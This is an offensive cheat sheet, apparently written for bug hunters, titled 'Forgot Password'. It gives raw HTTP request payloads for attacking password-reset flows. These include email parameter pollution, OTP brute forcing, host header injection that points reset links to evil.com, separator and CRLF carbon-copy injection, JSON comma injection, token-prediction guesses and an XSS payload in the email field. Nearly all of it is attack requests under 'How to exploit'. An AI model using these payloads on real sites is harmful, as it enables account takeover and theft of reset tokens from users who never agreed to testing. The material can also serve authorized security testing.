Forgot Password

Introduction

Some common bugs in the forgot password / reset password functionality

How to exploit

1. Parameter pollution

POST /reset HTTP/1.1
Host: target.com
...

email=[e-mail]&email=[e-mail]

1. Bruteforce the OTP code

POST /reset HTTP/1.1
Host: target.com
...

email=[e-mail]&code=$123456$

1. Host header Injection

POST /reset HTTP/1.1
Host: target.com
...

email=[e-mail]

to

POST /reset HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com
...

email=[e-mail]

And the victim will receive the reset link with evil.com

1. Using separator in value of the parameter

POST /reset HTTP/1.1
Host: target.com
...

email=[e-mail],[e-mail]

POST /reset HTTP/1.1
Host: target.com
...

email=[e-mail][e-mail]

POST /reset HTTP/1.1
Host: target.com
...

email=[e-mail]|[e-mail]

POST /reset HTTP/1.1
Host: target.com
...

email=[e-mail][e-mail]

1. No domain in value of the paramter

POST /reset HTTP/1.1
Host: target.com
...

email=victim

1. No TLD in value of the parameter

POST /reset HTTP/1.1
Host: target.com
...

email=victim@mail

1. Using carbon copy

POST /reset HTTP/1.1
Host: target.com
...

email=[e-mail]%0a%0dcc:[e-mail]

1. If there is JSON data in body requests, add comma

POST /newaccount HTTP/1.1
Host: target.com
...

{"email":"[e-mail]","[e-mail]","token":"xxxxxxxxxx"}

1. Find out how the tokens generate

• Generated based on TimeStamp

• Generated based on the ID of the user

• Generated based on the email of the user

• Generated based on the name of the user

1. Try Cross-Site Scripting (XSS) in the form

Sometimes the email is reflected in the forgot password page, try to use XSS payload

"<svg/onload=alert(1)>"@gmail.com